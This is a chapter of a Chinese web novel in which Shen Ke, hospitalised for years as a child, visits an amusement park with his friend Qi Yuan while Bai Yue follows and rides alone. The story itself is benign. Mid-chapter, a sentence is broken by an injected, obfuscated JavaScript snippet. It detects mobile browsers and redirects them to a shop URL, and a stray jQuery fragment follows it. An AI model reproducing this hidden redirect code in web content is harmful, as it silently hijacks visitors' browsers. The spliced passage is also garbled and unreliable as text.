早饭时，沈恪放下筷子，看看祈愿，又看看白越。


    “祈愿，今天带我去游乐场吧。”


    祈愿筷子一顿：“不叫白越？”


    沈恪奇怪地看了他一眼：“只是我自己想和朋友出去玩。”


    他顿了顿，又看向白越：“之后……再跟你去。”


    白越点了点头，没说话。


    祈愿皱着眉：“你第一次去游乐场吧？不找你对象，找我干嘛？我像带小孩的？”


    “也不是第一次。”沈恪声音低了些，“还没开始住院的时候，爸妈带我去过。只是没什么印象了，只记得很好玩。”


    祈愿不吭声了。


    沈恪抬起头：“所以我一直想试一下。我想试试坐过山车什么感觉。跟白越没关系……我就是自己想试试。”


    祈愿看了他很久。然后他笑了，不是平时那种嘲讽的笑，是另一种。


    “也对。”他放下筷子，“我开车带你去。我车钥匙呢？”


    “啊？”


    “啊什么，我法拉利不是在你这？”


    沈恪愣了好一会儿才反应过来。


    法拉利。车。


    那是他来的第一天，白越借那辆车带他去了国贸中心。那时候他还什么都不懂，连安全带都不会系，是白越倾过身来帮他扣好的。


    “我回去找一找……”


    沈恪起身，祈愿跟着他往外走。


    白越坐在餐桌旁，没有跟上来。


    路过门口时，沈恪换鞋的动作顿了顿。


    然后头也不回地推门出去了。


    ……


    温清然的别墅门锁还是原来的密码。


    沈恪站在门口，按了几个数字。


    门开了。


    他站在门口，没有进去。


    客厅的窗帘没有拉开，光线暗沉沉的，家具的轮廓在阴影里模糊成一片。空气里有灰尘的味道，还有那种很久没人住才会有的气味，闷闷的，像什么东西在慢慢坏掉。


    他以前住在这里的时候，不觉得冷清。白越每天都会来找他，客厅的灯总是亮的，茶几上永远有切好的水果。他以为那就是家的样子。


    现在站在门口，他才发现这个房子原来这么大，这么空。


    “发什么呆呢？”祈愿的声音从身后传来，“赶紧，找完走了。”


    沈恪回过神，走进去。鞋踩在地板上，声音空空的。他回头看了一眼门口，阳光从门缝里挤进来，在他脚边画了一条细细的线。


    他站在那条线里面。


    “如果是我自己的身体，肯定要打喷嚏了。”他忽然说。


    说完自己愣了下。


    祈愿没说什么，只是伸手在他头上摸了一把：“行了，搞快点。”


    沈恪点点头，上楼翻出车钥匙，递给祈愿。


    两个人开车往游乐场去。


    ……


    游乐场比沈恪想象中大。


    他站在门口，仰头看那个巨大的摩天轮。阳光从轮辐的缝隙里漏下来，碎成一片一片的金色。他眯起眼，觉得眼睛有点酸，但又不想闭上。


    祈愿在旁边刷手机查攻略：“先玩哪个？”


    沈恪凑过去看。屏幕上密密麻麻的字，他看着有点晕，但他认识那个图标。


    是过山车，轨道弯成一个倒扣的圈。


    “这个！”他指着屏幕，眼睛亮了一下。


    “上来就玩最刺激的？”


    沈恪用力点头。


    他等这一天太久了。从六岁住进医院开始，从每次查房时偷看窗外开始，整整十二年。


    排队的时候，他攥着栏杆，听着头顶传来的尖叫声，手心有点出汗，心跳快得要从胸腔里蹦出来。他数了数，前面还有八个人。七个。六个。


    祈愿站在他旁边，没说话，也没催。


    轮到他们的时候，沈恪坐进座位，扣好安全压杠，手指攥着扶手，指节发白。工作人员过来检查，他乖乖等人家帮他拉好安全杠，又低头摸了摸扣紧的地方，确认了好几遍。


    车缓缓爬升。他往下看了一眼，人群变成小小的点，祈愿站在下面，仰着头，不知道在看什么。风灌进领口，他缩了缩脖子，又忍不住探出头去。


    然后俯冲。


    风灌进嘴里，灌进领口，灌进所有缝隙。他张嘴想叫，声音被风堵回去。周围的人都在叫，他也跟着叫，叫到嗓子发哑，叫到什么都想不起来。头发全被吹到后面，露出一整张脸，白白的，在风里皱成一团。


    车停的时候，他愣在座位上，刘海乱糟糟地搭在额前，脸颊红扑扑的，眼睛还湿漉漉的。


    过了几秒，他才笑出来，转头看祈愿，声音还带着点抖：“好玩！”


    祈愿在旁边扶着栏杆，腿软得站不直：“额啊……我要报工伤。”


    沈恪吓了一跳：“你早说啊，我就一个人上去了。”


    祈愿瞥他一眼：“你不是不想一个人吗？”


    沈恪愣了下。


    他的确是因为不想一个人所以才喊上了祈愿……但他是怎么知道的？


    他表现得有那么明显吗？


    祈愿没再说话，撑着栏杆站起来，腿还有点软，但已经往前走了。


    沈恪看着他的背影，笑了一下，喊了句“等等我”跟了上去。


    ……


    白越站在过山车出口的阴影里。


    他看着沈恪从出口跑出来，头发被风吹得乱七八糟，脸通红，眼睛亮得不像话。祈愿跟在后面，腿还有点软，但嘴硬得很，不知道在说什么，沈恪笑得更厉害了。


    白越低头看了一眼手里的票根。过山车那一栏已经被打了勾。他排了很久的队，一个人坐上去。


    工作人员问他几个人，他说一个。


    车爬到最高点的时候，他往下看了一眼。阳光铺在轨道上，亮得晃眼。整个游乐场都在脚下，房子变小，人变成点。他找不到沈恪在哪里。


    车往下坠的时候，风灌进来。他没叫。


    ……


    沈恪在鬼屋里被吓得不轻。


    从入口开始就缩在祈愿身后，黑暗里什么东西窜出来，他吓得直接把祈愿往前推了一把，自己缩在后面。推完才意识到做了什么，小声说了句“对不起”。祈愿被他推得一个踉跄，回头瞪他，他缩着脖子不敢看。


    墙上的影子又晃了一下，他整个人都僵住，闷闷地叫了一声，手指攥得更紧，把祈愿的衣服扯得皱巴巴的。


    出来的时候脸色发白，嘴唇都有点抖，刘海被汗黏在额头上。


    祈愿倒是一直绷着脸，出来才松口气，但嘴硬得很。


    沈恪：“你刚是不是抓我胳膊了？”


    “没有。”


    “有。”


    “你出现幻觉了。”


    沈恪笑了一下，没再追问。两个人在长椅上坐了一会儿。阳光晒在肩膀上，暖洋洋的。


    沈恪喝了大半杯水，把杯子放在两人中间，盯着看。杯壁上还有水珠，在阳光下亮晶晶的。


    “祈愿。”


    “嗯。”


    “你知道我为什么想来游乐场吗？”


    “说。”


    沈恪想了很久。


    “以前在医院，只能看别人玩。电视里的人坐在过山车上叫，我也想叫，但叫不出来。后来换过来了，可以玩了，又一直没来过。”


    他停了一下。


    “但今天我叫出来了。”


    他笑了一下，低头看着空杯子：“好像真的舒服了一点。”


    祈愿没说话，只是把水递给他：“喝你的。”


    ……


    海盗船下来，祈愿坐在椅子上不肯走了。


    “你自己去，我歇会儿。”


    沈恪点点头，一个人跑去排队。队伍很长，他站在队尾，踮着脚看前面的人怎么坐的，怎么扣安全压杠，怎么把包放在脚边。他学得很认真，像在背□□。


    祈愿双手撑开靠在长椅上，闭着眼，听着远处的尖叫声。阳光晒在眼皮上，红彤彤的。他也不知道自己为什么还坐在这里。腿软是真的，但也不想走。


    旁边有人坐下。


    他没睁眼：“你是跟踪狂吗？”


    白越没说话。他坐在长椅另一头，手里拿着个纸袋，目光越过人群，落在远处正在排队的沈恪身上。沈恪排到前面了，正在看别人怎么坐，头微微偏着，很认真的样子。


    过了很久，白越才开口：“他开心吗？”


    祈愿瞥了他一眼：“你不是都看见了吗。”


    白越没接话。


    祈愿盯着他看了几秒。白越的侧脸在阳光下显得很白，嘴角那道红痕还没完全好，浅浅的，像道没画完的线。


    “昨天看你要死要活的，我还以为你要改了。结果还是跟踪狂。”


    白越终于转过头，语气平静：“我也在排队。”


    祈愿嗤了一声：“把跟踪说得这么好听，那现在跟我说话的是分身？”


    白越晃了晃票根：“有代排。”


    祈愿无语地翻了个白眼。


    两个人就那么坐着，看着沈恪从海盗船上下来。头发被风吹得乱七八糟，满脸通红地到处拍照，很快就要回来。


    祈愿转头刚要提醒白越，他就已经站起来了，在座位上留下个纸袋子。


    祈愿瞥了一眼：“什么东西？”


    白越没答，转身走了。


    祈愿打开纸袋，两杯热饮。他拿起上面那杯，杯套是空的。又看另一杯，还是空的。


    他骂了一声，把纸袋往旁边一推，又拉回来。


    ……


    沈恪跑回来的时候，脸颊被风吹得通红，眼睛亮亮的。


    “海盗船也好好玩！”


    祈愿把纸袋递过去：“给你的。”


    沈恪接过来，捧在手里，低头看杯套。上面什么都没写。


    他喝了一口。甜的，温度刚好入口。


    过了好一会儿，他才小声说：“他来过吧。”


    祈愿没答。


    沈恪也没再问。他捧着杯子，靠在栏杆上，看远处的摩天轮慢慢转。


    ……


    太阳快落山的时候，他们去坐摩天轮。


    队伍排得很长，沈恪站在队尾，仰头看着那个大轮子慢慢转。每一节车厢升到最高点的时候都会停一下，像是悬在天上。


    祈愿站在他旁边，低头看手机，屏幕的光映在他脸上，把他的睫毛照得很清楚。


    “祈愿。”


    “嗯。”


    “你有没有什么一直想做但没做过的事？”


    祈愿的手指在膝盖上敲了敲。他没抬头，也没回答。沈恪等了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364466|198096||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会儿，没等到答案，也就没再问。风从湖面吹过来，凉凉的，带着水汽。


    轮到他们的时候，祈愿停住了脚步：“你自己上去。”


    沈恪抓着栏杆，看着有点犹豫。


    祈愿看了他两秒，啧了一声，跟着上了车厢。


    摩天轮慢慢往上升。整个游乐场都在脚下，房子变小，人变成点。远处的湖面被夕阳染成橘红色，亮晃晃的，像是有人往水里倒了一桶颜料。


    沈恪趴在窗边看风景，没有回头。


    “祈愿。”


    “嗯。”


    “你为什么一下飞机就过来了？”


    祈愿看着他那个金灿灿的后脑勺，沉默了许久，才移开视线。


    “……谁知道呢。”


    沈恪转过头，认真地看着祈愿：“是因为我，对吧。因为我和白越的事情。”


    祈愿没说话，也没看他。


    车厢里安静了几秒。


    沈恪又转过头，看着窗外。


    摩天轮快到最高点了，整个城市都在脚下，远远的，小小的。他以前只能从病房的窗户看外面，看到的是对面的楼，楼后面的天，天上的云。从来没有站这么高过。


    “虽然我还是有很多没搞懂的。”他声音很轻，“但是谢谢你。”


    “如果你都不在，我真的不知道要怎么和白越相处了。”


    说完他自己先愣了一下，偷偷看了眼祈愿，祈愿没看他，只是盯着窗外。车厢玻璃上映着他的脸，看不清表情。


    车厢里安静了一会儿。摩天轮爬到最高点，停住。整个城市都安静下来，只有风从窗缝里钻进来，轻轻的。


    祈愿忽然朝他招了招手。


    沈恪愣了愣，乖乖凑过去。


    祈愿抬手，在他脑门上弹了一下。不重，但很响。


    沈恪捂着额头缩回去，支吾着：“你干嘛……”


    “……傻逼。”祈愿别过脸，耳根有点红。


    过了很久，摩天轮快落地了，祈愿状似无意地开口：“下次你和白越自己来坐这个，别叫上我。”


    沈恪歪了歪脑袋：“为什么啊？我觉得跟你玩很开心啊。”


    “自己想。”


    ……


    白越站在摩天轮下面，看着那个车厢慢慢升上去。他排了很久的队才轮到。工作人员问他几个人，他说一个。


    摩天轮慢慢往上升。他靠在窗边，看着对面的空座。


    如果沈恪在对面，他会说什么？


    他以前想过这个问题的。在沈恪睡着之后，在那些一个人待着的深夜，他想象过很多次。


    带沈恪来游乐场，陪他坐摩天轮。在最高点的时候，趁沈恪趴在窗边往下看，从背后环住他。沈恪会愣一下，会转头。然后他吻下去，亲完一整个下降的过程。


    光是想象这些，他就能熬过很多个晚上。


    但沈恪不是和他一起来的。


    现在他一个人坐在这里，脑子里只有“对不起”。


    对不起什么，他也不知道。


    那些“回来”“对不起”“我喜欢你”都太重了，重到说出口就会把沈恪推得更远。


    ……


    从摩天轮下来时天已经暗了。游乐场的灯一盏盏亮起来，旋转木马的金光，过山车的彩灯，摩天轮上那些慢慢转着的小窗子。


    沈恪站在出口看了一会儿，指着旋转木马：“那个灯好好看。”


    祈愿顺着他的手指看过去，没说话。


    “想玩？”


    沈恪摇了摇头：“下次带着白越一起来，晚上的时候。”


    祈愿瞥了他一眼：“想通了？”


    “没。”沈恪低着头，声音闷闷的，“就是看到白越睡沙发我还是很难过，看到他不说话，我也会慌。但每次想安慰他的时候，心里就会有个声音说：不能再这样了。”


    他有些不好意思地笑了下：“可我又觉得，不经过白越去做什么事情，好像也挺开心的。我这么想是不是很坏啊？”


    祈愿看着他，看了很久。路灯从上面照下来，把两个人的影子拉得很长，叠在一起。


    “好和对是不一样的。”


    沈恪没懂。


    祈愿盯着他看了两秒，忽然伸手在他脑袋上胡乱搓了一把，力道不轻，搓得他头发都翘起来了。


    “跟你说这个是我也被传染白痴了吗？”


    他收回手，别过脸去：“走了，回去了。”


    走了几步，头也不回地补了句：“下次想去哪自己来。我很忙的。”


    沈恪认真地想了想：“那要提前预约吗？”


    “预约个屁。”


    ……


    游乐场门口，白越站在那儿看了一会儿，才转身往停车场走。


    走了几步，又停下来。


    他想起刚才在摩天轮上，车厢到最高点的时候，他往下看了一眼。那时候他在想，如果沈恪在对面，他会说的第一句话是什么。


    想了半天，发现自己什么都说不出来。


    但现在他知道怎么说了。


    他站在原地，嘴唇动了动。


    ——玩得开心吗？


    没出声。


    摩天轮在他身后慢慢转完一圈，灯光明灭交替，落在他肩上一明一暗的。


    他低下头笑了一下，转身走了。